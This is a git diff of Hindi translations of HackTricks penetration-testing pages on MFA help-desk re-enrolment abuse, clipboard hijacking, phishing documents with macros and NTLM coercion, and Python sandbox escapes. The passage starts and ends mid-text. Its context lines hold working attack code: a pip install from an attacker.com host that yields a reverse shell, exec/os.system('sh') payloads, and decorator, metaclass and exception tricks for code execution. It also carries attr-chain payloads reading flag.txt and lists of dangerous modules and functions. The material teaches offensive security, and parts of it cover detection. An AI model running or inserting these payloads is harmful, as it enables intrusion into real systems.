पंजीकरण को मजबूर करते हैं**, उपयोगकर्ता के मौजूदा टोकन को शून्य कर देते हैं। कोई भी बाद में लॉगिन प्रॉम्प्ट पीड़ित के लिए वैध दिखाई देता है। +क्लासिक पुश-बमबारी के अलावा, ऑपरेटर बस **हेल्प-डेस्क कॉल के दौरान एक नया MFA पंजीकरण मजबूर करते हैं**, उपयोगकर्ता के मौजूदा टोकन को शून्य कर देते हैं। कोई भी बाद का लॉगिन प्रॉम्प्ट पीड़ित के लिए वैध दिखाई देता है। ```text [Attacker] → Help-Desk: “I lost my phone while travelling, can you unenrol it so I can add a new authenticator?” [Help-Desk] → AzureAD: ‘Delete existing methods’ → sends registration e-mail [Attacker] → Completes new TOTP enrolment on their own device ``` -AzureAD/AWS/Okta घटनाओं की निगरानी करें जहाँ **`deleteMFA` + `addMFA`** **एक ही IP से कुछ मिनटों के भीतर** होती हैं। +AzureAD/AWS/Okta घटनाओं की निगरानी करें जहाँ **`deleteMFA` + `addMFA`** **एक ही IP से मिनटों के भीतर** होती हैं। ## Clipboard Hijacking / Pastejacking -हमलावर चुपचाप पीड़ित के क्लिपबोर्ड में दुर्भावनापूर्ण कमांड्स को एक समझौता किए गए या टाइपस्क्वाटेड वेब पृष्ठ से कॉपी कर सकते हैं और फिर उपयोगकर्ता को **Win + R**, **Win + X** या एक टर्मिनल विंडो के अंदर उन्हें पेस्ट करने के लिए धोखा दे सकते हैं, बिना किसी डाउनलोड या अटैचमेंट के मनमाने कोड को निष्पादित करते हुए। +हमलावर चुपचाप एक समझौता किए गए या टाइपस्क्वाटेड वेब पृष्ठ से पीड़ित के क्लिपबोर्ड में दुर्भावनापूर्ण कमांड कॉपी कर सकते हैं और फिर उपयोगकर्ता को **Win + R**, **Win + X** या एक टर्मिनल विंडो के अंदर उन्हें पेस्ट करने के लिए धोखा दे सकते हैं, बिना किसी डाउनलोड या अटैचमेंट के मनमाने कोड को निष्पादित करते हुए। {{#ref}} clipboard-hijacking.md diff --git a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md index 9e1df33ef..5a7a77f6e 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/clipboard-hijacking.md @@ -6,9 +6,9 @@ ## Overview -Clipboard hijacking – जिसे *pastejacking* भी कहा जाता है – इस तथ्य का दुरुपयोग करता है कि उपयोगकर्ता नियमित रूप से कमांड को कॉपी और पेस्ट करते हैं बिना उन्हें जांचे। एक दुर्भावनापूर्ण वेब पृष्ठ (या किसी भी JavaScript-सक्षम संदर्भ जैसे कि एक Electron या Desktop एप्लिकेशन) प्रोग्रामेटिक रूप से हमलावर-नियंत्रित पाठ को सिस्टम क्लिपबोर्ड में रखता है। पीड़ितों को, सामान्यतः सावधानीपूर्वक तैयार किए गए सोशल-इंजीनियरिंग निर्देशों द्वारा, **Win + R** (Run संवाद), **Win + X** (Quick Access / PowerShell) दबाने या एक टर्मिनल खोलने और क्लिपबोर्ड सामग्री को *पेस्ट* करने के लिए प्रोत्साहित किया जाता है, जिससे तुरंत मनमाने कमांड निष्पादित होते हैं। +Clipboard hijacking – जिसे *pastejacking* भी कहा जाता है – इस तथ्य का दुरुपयोग करता है कि उपयोगकर्ता नियमित रूप से कमांड को कॉपी और पेस्ट करते हैं बिना उन्हें जांचे। एक दुर्भावनापूर्ण वेब पृष्ठ (या किसी भी JavaScript-सक्षम संदर्भ जैसे कि एक Electron या Desktop एप्लिकेशन) प्रोग्रामेटिक रूप से हमलावर-नियंत्रित पाठ को सिस्टम क्लिपबोर्ड में डालता है। पीड़ितों को, सामान्यतः सावधानीपूर्वक तैयार किए गए सोशल-इंजीनियरिंग निर्देशों द्वारा, **Win + R** (Run dialog), **Win + X** (Quick Access / PowerShell) दबाने या एक टर्मिनल खोलने और क्लिपबोर्ड सामग्री को *पेस्ट* करने के लिए प्रोत्साहित किया जाता है, जिससे तुरंत मनमाने कमांड निष्पादित होते हैं। -क्योंकि **कोई फ़ाइल डाउनलोड नहीं की जाती और कोई अटैचमेंट नहीं खोला जाता**, यह तकनीक अधिकांश ई-मेल और वेब-सामग्री सुरक्षा नियंत्रणों को बायपास करती है जो अटैचमेंट, मैक्रोज़ या सीधे कमांड निष्पादन की निगरानी करती हैं। इसलिए यह हमला फ़िशिंग अभियानों में लोकप्रिय है जो NetSupport RAT, Latrodectus लोडर या Lumma Stealer जैसे कमोडिटी मैलवेयर परिवारों को वितरित करते हैं। +क्योंकि **कोई फ़ाइल डाउनलोड नहीं की जाती और कोई अटैचमेंट नहीं खोला जाता**, यह तकनीक अधिकांश ई-मेल और वेब-सामग्री सुरक्षा नियंत्रणों को बायपास करती है जो अटैचमेंट, मैक्रोज़ या सीधे कमांड निष्पादन की निगरानी करती हैं। इसलिए यह हमला फ़िशिंग अभियानों में लोकप्रिय है जो सामान्य मैलवेयर परिवारों जैसे NetSupport RAT, Latrodectus लोडर या Lumma Stealer को वितरित करते हैं। ## JavaScript Proof-of-Concept ```html @@ -29,7 +29,7 @@ navigator.clipboard.writeText(payload) 1. उपयोगकर्ता एक टाइपोसक्वाटेड या समझौता किए गए साइट पर जाता है (जैसे `docusign.sa[.]com`) 2. इंजेक्टेड **ClearFake** जावास्क्रिप्ट एक `unsecuredCopyToClipboard()` सहायक को कॉल करता है जो चुपचाप एक Base64-कोडित PowerShell एक-लाइनर को क्लिपबोर्ड में स्टोर करता है। 3. HTML निर्देश पीड़ित को बताते हैं: *“**Win + R** दबाएं, कमांड पेस्ट करें और समस्या को हल करने के लिए Enter दबाएं।”* -4. `powershell.exe` निष्पादित होता है, एक आर्काइव डाउनलोड करता है जिसमें एक वैध निष्पादन योग्य और एक दुर्भावनापूर्ण DLL (क्लासिक DLL साइडलोडिंग) होता है। +4. `powershell.exe` निष्पादित होता है, एक संग्रह डाउनलोड करता है जिसमें एक वैध निष्पादन योग्य और एक दुर्भावनापूर्ण DLL (क्लासिक DLL साइडलोडिंग) शामिल होता है। 5. लोडर अतिरिक्त चरणों को डिक्रिप्ट करता है, शेलकोड इंजेक्ट करता है और स्थिरता स्थापित करता है (जैसे शेड्यूल किया गया कार्य) – अंततः NetSupport RAT / Latrodectus / Lumma Stealer चलाता है। ### उदाहरण NetSupport RAT श्रृंखला @@ -62,8 +62,8 @@ The **mshta** कॉल एक छिपा हुआ PowerShell स्क्र ब्लू-टीम क्लिपबोर्ड, प्रक्रिया-निर्माण और रजिस्ट्री टेलीमेट्री को मिलाकर पेस्टजैकिंग दुरुपयोग को पहचान सकती है: * Windows Registry: `HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` **Win + R** कमांड का एक इतिहास रखता है - असामान्य Base64 / ओबफस्केटेड प्रविष्टियों की तलाश करें। -* सुरक्षा इवेंट ID **4688** (प्रक्रिया निर्माण) जहां `ParentImage` == `explorer.exe` और `NewProcessName` में { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }। -* इवेंट ID **4663** फ़ाइल निर्माण के लिए `%LocalAppData%\Microsoft\Windows\WinX\` या असामान्य 4688 इवेंट से ठीक पहले अस्थायी फ़ोल्डरों के तहत। +* Security Event ID **4688** (Process Creation) जहां `ParentImage` == `explorer.exe` और `NewProcessName` में { `powershell.exe`, `wscript.exe`, `mshta.exe`, `curl.exe`, `cmd.exe` }। +* Event ID **4663** फ़ाइल निर्माण के लिए `%LocalAppData%\Microsoft\Windows\WinX\` या असामान्य 4688 घटना से ठीक पहले अस्थायी फ़ोल्डरों के तहत। * EDR क्लिपबोर्ड सेंसर (यदि मौजूद हैं) - `Clipboard Write` के तुरंत बाद एक नए PowerShell प्रक्रिया का सहसंबंध करें। ## Mitigations @@ -76,6 +76,7 @@ The **mshta** कॉल एक छिपा हुआ PowerShell स्क्र ## Related Tricks * **Discord Invite Hijacking** अक्सर एक दुर्भावनापूर्ण सर्वर में उपयोगकर्ताओं को लुभाने के बाद उसी ClickFix दृष्टिकोण का दुरुपयोग करता है: + {{#ref}} discord-invite-hijacking.md {{#endref}} diff --git a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md index c34f048eb..884598c1c 100644 --- a/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md +++ b/src/generic-methodologies-and-resources/phishing-methodology/phishing-documents.md @@ -1,20 +1,20 @@ -# Phishing Files & Documents +# फ़िशिंग फ़ाइलें और दस्तावेज़ {{#include ../../banners/hacktricks-training.md}} -## Office Documents +## ऑफिस दस्तावेज़ -Microsoft Word फ़ाइल खोलने से पहले फ़ाइल डेटा मान्यता करता है। डेटा मान्यता डेटा संरचना पहचान के रूप में OfficeOpenXML मानक के खिलाफ की जाती है। यदि डेटा संरचना पहचान के दौरान कोई त्रुटि होती है, तो विश्लेषण की जा रही फ़ाइल नहीं खोली जाएगी। +Microsoft Word फ़ाइल खोलने से पहले फ़ाइल डेटा मान्यता करता है। डेटा मान्यता डेटा संरचना पहचान के रूप में OfficeOpenXML मानक के खिलाफ की जाती है। यदि डेटा संरचना पहचान के दौरान कोई त्रुटि होती है, तो विश्लेषित की जा रही फ़ाइल नहीं खोली जाएगी। -आमतौर पर, मैक्रोज़ वाले Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। हालाँकि, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना संभव है और फिर भी उनकी मैक्रो निष्पादन क्षमताएँ बनाए रखना संभव है।\ -उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन द्वारा मैक्रोज़ का समर्थन नहीं करती है, लेकिन RTF में नाम बदली गई DOCM फ़ाइल को Microsoft Word द्वारा संभाला जाएगा और यह मैक्रो निष्पादन के लिए सक्षम होगी।\ +आमतौर पर, मैक्रोज़ वाले Word फ़ाइलें `.docm` एक्सटेंशन का उपयोग करती हैं। हालाँकि, फ़ाइल एक्सटेंशन बदलकर फ़ाइल का नाम बदलना संभव है और फिर भी उनके मैक्रो निष्पादन क्षमताओं को बनाए रखना संभव है।\ +उदाहरण के लिए, एक RTF फ़ाइल डिज़ाइन द्वारा मैक्रोज़ का समर्थन नहीं करती है, लेकिन RTF में नाम बदली गई DOCM फ़ाइल Microsoft Word द्वारा संभाली जाएगी और मैक्रो निष्पादन के लिए सक्षम होगी।\ सभी Microsoft Office Suite (Excel, PowerPoint आदि) के सॉफ़्टवेयर पर समान आंतरिक और तंत्र लागू होते हैं। -आप निम्नलिखित कमांड का उपयोग करके यह जांच सकते हैं कि कौन से एक्सटेंशन कुछ Office प्रोग्रामों द्वारा निष्पादित किए जाने वाले हैं: +आप निम्नलिखित कमांड का उपयोग करके यह जांच सकते हैं कि कौन से एक्सटेंशन कुछ ऑफिस प्रोग्राम द्वारा निष्पादित किए जाने वाले हैं: ```bash assoc | findstr /i "word excel powerp" ``` -DOCX फ़ाइलें एक दूरस्थ टेम्पलेट (File –Options –Add-ins –Manage: Templates –Go) का संदर्भ लेते हुए जो मैक्रोज़ शामिल करती हैं, "execute" मैक्रोज़ कर सकती हैं। +DOCX फ़ाइलें एक दूरस्थ टेम्पलेट (File –Options –Add-ins –Manage: Templates –Go) को संदर्भित करते हुए जो मैक्रोज़ शामिल करती हैं, "execute" मैक्रोज़ कर सकती हैं। ### बाहरी छवि लोड @@ -29,7 +29,7 @@ _**श्रेणियाँ**: Links and References, **Filed names**: include #### ऑटोलोड फ़ंक्शन -जितना अधिक सामान्य होंगे, उतना ही अधिक संभावना है कि AV उन्हें पहचान लेगा। +जितना सामान्य होंगे, उतना ही अधिक संभावना है कि AV उन्हें पहचान लेगा। - AutoOpen() - Document_Open() @@ -140,14 +140,16 @@ self.close ``` ## NTLM प्रमाणीकरण को मजबूर करना -**NTLM प्रमाणीकरण "दूर से"** मजबूर करने के कई तरीके हैं, उदाहरण के लिए, आप ईमेल या HTML में **अदृश्य चित्र** जोड़ सकते हैं जिन्हें उपयोगकर्ता एक्सेस करेगा (क्या यह HTTP MitM भी हो सकता है?)। या पीड़ित को **फाइलों के पते** भेजें जो केवल **फोल्डर खोलने** के लिए **प्रमाणीकरण** को **प्रेरित** करेंगे। +**NTLM प्रमाणीकरण "दूर से"** मजबूर करने के कई तरीके हैं, उदाहरण के लिए, आप ईमेल या HTML में **अदृश्य चित्र** जोड़ सकते हैं जिन्हें उपयोगकर्ता एक्सेस करेगा (क्या यह HTTP MitM भी हो सकता है?)। या पीड़ित को **फाइलों के पते** भेजें जो केवल **फोल्डर खोलने** के लिए **प्रमाणीकरण** को **प्रेरित** करेंगी। + +**इन विचारों और अधिक को निम्नलिखित पृष्ठों में देखें:** -**इन विचारों और अधिक की जांच करें:** {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} + {{#ref}} ../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md {{#endref}} @@ -157,6 +159,6 @@ self.close यह न भूलें कि आप केवल हैश या प्रमाणीकरण को चुरा नहीं सकते बल्कि **NTLM रिले हमले** भी कर सकते हैं: - [**NTLM रिले हमले**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) -- [**AD CS ESC8 (प्रमाणपत्रों के लिए NTLM रिले)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) +- [**AD CS ESC8 (NTLM रिले से प्रमाणपत्र)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index a350801f4..1304afd9f 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -39,7 +39,7 @@ open('/var/www/html/input', 'w').write('123') execfile('/usr/lib/python2.7/os.py') system('ls') ``` -याद रखें कि _**open**_ और _**read**_ फ़ंक्शन **python sandbox** के अंदर **फाइलें पढ़ने** और **कोड लिखने** के लिए उपयोगी हो सकते हैं जिसे आप **execute** कर सकते हैं ताकि **sandbox** को **bypass** किया जा सके। +याद रखें कि _**open**_ और _**read**_ फ़ंक्शन **फाइलों को पढ़ने** के लिए उपयोगी हो सकते हैं जो python sandbox के अंदर हैं और **कुछ कोड लिखने** के लिए जो आप **execute** कर सकते हैं ताकि **sandbox** को **bypass** किया जा सके। > [!CAUTION] > **Python2 input()** फ़ंक्शन प्रोग्राम क्रैश होने से पहले python कोड को execute करने की अनुमति देता है। @@ -83,15 +83,15 @@ pip.main(["install", "http://attacker.com/Rerverse.tar.gz"]) Reverse.tar (1).gz {{#endfile}} -> [!NOTE] -> इस पैकेज का नाम `Reverse` है। हालाँकि, इसे इस तरह से तैयार किया गया है कि जब आप रिवर्स शेल से बाहर निकलते हैं तो बाकी इंस्टॉलेशन विफल हो जाएगा, इसलिए आप **सर्वर पर कोई अतिरिक्त पायथन पैकेज स्थापित नहीं करेंगे** जब आप बाहर निकलेंगे। +> [!TIP] +> इस पैकेज का नाम `Reverse` है। हालाँकि, इसे इस तरह से तैयार किया गया है कि जब आप रिवर्स शेल से बाहर निकलते हैं तो बाकी की स्थापना विफल हो जाएगी, इसलिए आप **सर्वर पर कोई अतिरिक्त पायथन पैकेज स्थापित नहीं छोड़ेंगे** जब आप बाहर निकलेंगे। ## पायथन कोड का मूल्यांकन करना > [!WARNING] -> ध्यान दें कि exec मल्टीलाइन स्ट्रिंग और ";" की अनुमति देता है, लेकिन eval नहीं (वालरस ऑपरेटर की जांच करें) +> ध्यान दें कि exec मल्टीलाइन स्ट्रिंग्स और ";" की अनुमति देता है, लेकिन eval नहीं (वालरस ऑपरेटर की जांच करें) -यदि कुछ वर्ण निषिद्ध हैं, तो आप **hex/octal/B64** प्रतिनिधित्व का उपयोग करके **प्रतिबंध को बायपास** कर सकते हैं: +यदि कुछ वर्ण वर्जित हैं, तो आप **hex/octal/B64** प्रतिनिधित्व का उपयोग करके **प्रतिबंध को बायपास** कर सकते हैं: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -152,9 +152,9 @@ return x ## कॉल के बिना पायथन निष्पादन -यदि आप एक पायथन जेल के अंदर हैं जो **आपको कॉल करने की अनुमति नहीं देता**, तो **मनमाने फ़ंक्शंस, कोड** और **कमांड** को **निष्पादित** करने के कुछ तरीके अभी भी हैं। +यदि आप एक पायथन जेल के अंदर हैं जो **आपको कॉल करने की अनुमति नहीं देता**, तो **मनमाने फ़ंक्शन, कोड** और **कमांड** निष्पादित करने के कुछ तरीके अभी भी हैं। -### RCE with [decorators](https://docs.python.org/3/glossary.html#term-decorator) +### RCE [decorators](https://docs.python.org/3/glossary.html#term-decorator) के साथ ```python # From https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ @exec @@ -176,13 +176,13 @@ X = exec(X) @'__import__("os").system("sh")'.format class _:pass ``` -### RCE ऑब्जेक्ट बनाना और ओवरलोडिंग +### RCE ऑब्जेक्ट्स बनाना और ओवरलोडिंग -यदि आप **क्लास घोषित** कर सकते हैं और उस क्लास का **ऑब्जेक्ट बना** सकते हैं, तो आप **विभिन्न विधियों को लिख/ओवरराइट** कर सकते हैं जो **ट्रिगर** हो सकती हैं **बिना** उन्हें **प्रत्यक्ष रूप से कॉल किए**। +यदि आप **एक क्लास घोषित कर सकते हैं** और उस क्लास का **एक ऑब्जेक्ट बना सकते हैं**, तो आप **विभिन्न मेथड्स लिख/ओवरराइट** कर सकते हैं जो **ट्रिगर** हो सकते हैं **बिना** **उन्हें सीधे कॉल किए**। #### कस्टम क्लासेस के साथ RCE -आप कुछ **क्लास विधियों** को (_मौजूदा क्लास विधियों को ओवरराइट करके या एक नई क्लास बनाकर_) संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें बिना उन्हें प्रत्यक्ष रूप से कॉल किए। +आप कुछ **क्लास मेथड्स** (_मौजूदा क्लास मेथड्स को ओवरराइट करके या एक नई क्लास बनाकर_) को संशोधित कर सकते हैं ताकि वे **ट्रिगर** होने पर **मनमाना कोड** **निष्पादित** कर सकें **बिना** उन्हें सीधे कॉल किए। ```python # This class has 3 different ways to trigger RCE without directly calling any function class RCE: @@ -232,9 +232,9 @@ __iand__ (k = 'import os; os.system("sh")') __ior__ (k |= 'import os; os.system("sh")') __ixor__ (k ^= 'import os; os.system("sh")') ``` -#### Crating objects with [metaclasses](https://docs.python.org/3/reference/datamodel.html#metaclasses) +#### [मेटाक्लासेस](https://docs.python.org/3/reference/datamodel.html#metaclasses) के साथ ऑब्जेक्ट बनाना -मेटाक्लास हमें जो मुख्य चीज़ करने की अनुमति देती है वह है **क्लास का एक उदाहरण बनाना, बिना सीधे कंस्ट्रक्टर को कॉल किए**, लक्षित क्लास को मेटाक्लास के रूप में उपयोग करके एक नई क्लास बनाकर। +मेटाक्लासेस हमें जो मुख्य चीज़ करने की अनुमति देती हैं वह है **क्लास का एक उदाहरण बनाना, बिना सीधे कंस्ट्रक्टर को कॉल किए**, लक्षित क्लास को मेटाक्लास के रूप में उपयोग करके एक नई क्लास बनाकर। ```python # Code from https://ur4ndom.dev/posts/2022-07-04-gctf-treebox/ and fixed # This will define the members of the "subclass" @@ -249,9 +249,9 @@ Sub['import os; os.system("sh")'] ## You can also use the tricks from the previous section to get RCE with this object ``` -#### अपवादों के साथ ऑब्जेक्ट बनाना +#### Creating objects with exceptions -जब एक **अपवाद उत्पन्न होता है** तो **Exception** का एक ऑब्जेक्ट **बनाया जाता है** बिना आपको सीधे कंस्ट्रक्टर को कॉल किए (एक ट्रिक [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) से): +जब एक **exception उत्पन्न होती है** तो **Exception** का एक ऑब्जेक्ट **बनाया जाता है** बिना आपको सीधे कंस्ट्रक्टर को कॉल किए (एक ट्रिक [**@\_nag0mez**](https://mobile.twitter.com/_nag0mez) से): ```python class RCE(Exception): def __init__(self): @@ -293,7 +293,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### बिल्टिन हेल्प और लाइसेंस के साथ फ़ाइल पढ़ें +### बिल्टिन की मदद और लाइसेंस के साथ फ़ाइल पढ़ें ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -317,7 +317,7 @@ __builtins__.__dict__['__import__']("os").system("ls") जब आपके पास `__builtins__` नहीं है, तो आप कुछ भी आयात नहीं कर पाएंगे और न ही फ़ाइलें पढ़ या लिख पाएंगे क्योंकि **सभी वैश्विक फ़ंक्शन** (जैसे `open`, `import`, `print`...) **लोड नहीं होते**।\ हालांकि, **डिफ़ॉल्ट रूप से पायथन मेमोरी में बहुत सारे मॉड्यूल आयात करता है**। ये मॉड्यूल निर्दोष लग सकते हैं, लेकिन इनमें से कुछ **खतरनाक** कार्यक्षमताएँ भी आयात कर रहे हैं जिन्हें **मनमाने कोड निष्पादन** प्राप्त करने के लिए एक्सेस किया जा सकता है। -निम्नलिखित उदाहरणों में आप देख सकते हैं कि कैसे कुछ इस "**निर्दोष**" मॉड्यूल का **दुरुपयोग** किया जा सकता है ताकि उनके अंदर **खतरनाक** **कार्यात्मकताओं** तक **पहुँच** प्राप्त की जा सके। +निम्नलिखित उदाहरणों में आप देख सकते हैं कि कैसे कुछ इस "**निर्दोष**" मॉड्यूल का **दुरुपयोग** किया जा सकता है ताकि **खतरनाक** **कार्यक्षमताओं** तक **पहुँच** प्राप्त की जा सके। **Python2** ```python @@ -359,7 +359,7 @@ get_flag.__globals__['__builtins__'] # Get builtins from loaded classes [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "builtins" in x.__init__.__globals__ ][0]["builtins"] ``` -[**नीचे एक बड़ा फ़ंक्शन है**](#recursive-search-of-builtins-globals) जो आपको **builtins** खोजने के लिए दर्जनों/**सैकड़ों** **स्थान** खोजने में मदद करेगा। +[**नीचे एक बड़ा फ़ंक्शन है**](#recursive-search-of-builtins-globals) जो आपको **builtins** खोजने के लिए **सैकड़ों** **जगहों** का पता लगाने में मदद करेगा। #### Python2 और Python3 ```python @@ -375,7 +375,7 @@ __builtins__["__import__"]("os").system("ls") # There are lots of other payloads that can be abused to execute commands # See them below ``` -## Globals and locals +## Globals और locals **`globals`** और **`locals`** की जांच करना यह जानने का एक अच्छा तरीका है कि आप क्या एक्सेस कर सकते हैं। ```python @@ -401,15 +401,15 @@ class_obj.__init__.__globals__ [ x for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__)] [, , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , , ] ``` -[**नीचे एक बड़ा फ़ंक्शन है**](#recursive-search-of-builtins-globals) जो आपको **ग्लोबल्स** खोजने के लिए दर्जनों/**सैकड़ों** **स्थान** खोजने में मदद करेगा। +[**नीचे एक बड़ा फ़ंक्शन है**](#recursive-search-of-builtins-globals) जो आपको **सैकड़ों** **जगहों** को खोजने में मदद करेगा जहाँ आप **globals** पा सकते हैं। -## मनमाने निष्पादन का पता लगाना +## मनमानी निष्पादन का पता लगाना -यहाँ मैं समझाना चाहता हूँ कि कैसे आसानी से **ज़्यादा खतरनाक कार्यक्षमताओं को लोड** किया जा सकता है और अधिक विश्वसनीय हमलों का प्रस्ताव दिया जा सकता है। +यहाँ मैं समझाना चाहता हूँ कि कैसे आसानी से **ज़्यादा खतरनाक कार्यक्षमताओं** का पता लगाया जा सकता है और अधिक विश्वसनीय हमलों का प्रस्ताव किया जा सकता है। -#### बायपास के साथ उपकक्षों तक पहुँच +#### बायपास के साथ उपकक्षाओं तक पहुँच -इस तकनीक के सबसे संवेदनशील हिस्सों में से एक है **बेस उपकक्षों** तक पहुँच प्राप्त करना। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं: +इस तकनीक का सबसे संवेदनशील भाग यह है कि आप **बेस उपकक्षाओं** तक पहुँच सकें। पिछले उदाहरणों में यह `''.__class__.__base__.__subclasses__()` का उपयोग करके किया गया था लेकिन **अन्य संभावित तरीके** भी हैं: ```python #You can access the base from mostly anywhere (in regular conditions) "".__class__.__base__.__subclasses__() @@ -437,9 +437,9 @@ defined_func.__class__.__base__.__subclasses__() (''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read() (''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read() ``` -### खतरनाक लोड की गई लाइब्रेरी ढूंढना +### खतरनाक लाइब्रेरीज़ का पता लगाना -उदाहरण के लिए, यह जानकर कि लाइब्रेरी **`sys`** के साथ **मनमाने लाइब्रेरी को आयात करना** संभव है, आप सभी **मॉड्यूल की खोज कर सकते हैं जो उनके अंदर sys को आयात करते हैं**: +उदाहरण के लिए, यह जानकर कि लाइब्रेरी **`sys`** के साथ **मनमाने लाइब्रेरीज़ को आयात करना संभव है**, आप सभी **मॉड्यूल्स की खोज कर सकते हैं जिनमें sys आयात किया गया है**: ```python [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ] ['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations'] @@ -502,7 +502,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -इसके अलावा, यदि आप सोचते हैं कि **अन्य पुस्तकालय** **कमांड निष्पादित करने के लिए फ़ंक्शन को कॉल** कर सकते हैं, तो हम संभावित पुस्तकालयों के अंदर **फ़ंक्शन नामों द्वारा भी फ़िल्टर** कर सकते हैं: +इसके अलावा, यदि आप सोचते हैं कि **अन्य पुस्तकालय** **कमांड निष्पादित करने के लिए फ़ंक्शन को कॉल** कर सकते हैं, तो हम संभावित पुस्तकालयों के भीतर **फ़ंक्शन नामों द्वारा भी फ़िल्टर** कर सकते हैं: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -538,7 +538,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil ## Recursive Search of Builtins, Globals... > [!WARNING] -> यह बस **शानदार** है। यदि आप **globals, builtins, open या किसी अन्य वस्तु की तलाश कर रहे हैं** तो बस इस स्क्रिप्ट का उपयोग करें **उस वस्तु को खोजने के लिए स्थानों को पुनरावृत्त रूप से खोजने के लिए।** +> यह बस **शानदार** है। यदि आप **globals, builtins, open या किसी अन्य वस्तु की तलाश कर रहे हैं** तो बस इस स्क्रिप्ट का उपयोग करें **जहाँ आप उस वस्तु को खोज सकते हैं, वहाँ पुनरावृत्त रूप से खोजने के लिए।** ```python import os, sys # Import these to find more gadgets @@ -660,9 +660,9 @@ main() https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/python/bypass-python-sandboxes/broken-reference/README.md {{#endref}} -## Python फ़ॉर्मेट स्ट्रिंग +## Python Format String -यदि आप **python** को एक **स्ट्रिंग** भेजते हैं जो **फॉर्मेट** होने वाली है, तो आप **python आंतरिक जानकारी** तक पहुँचने के लिए `{}` का उपयोग कर सकते हैं। आप उदाहरण के लिए globals या 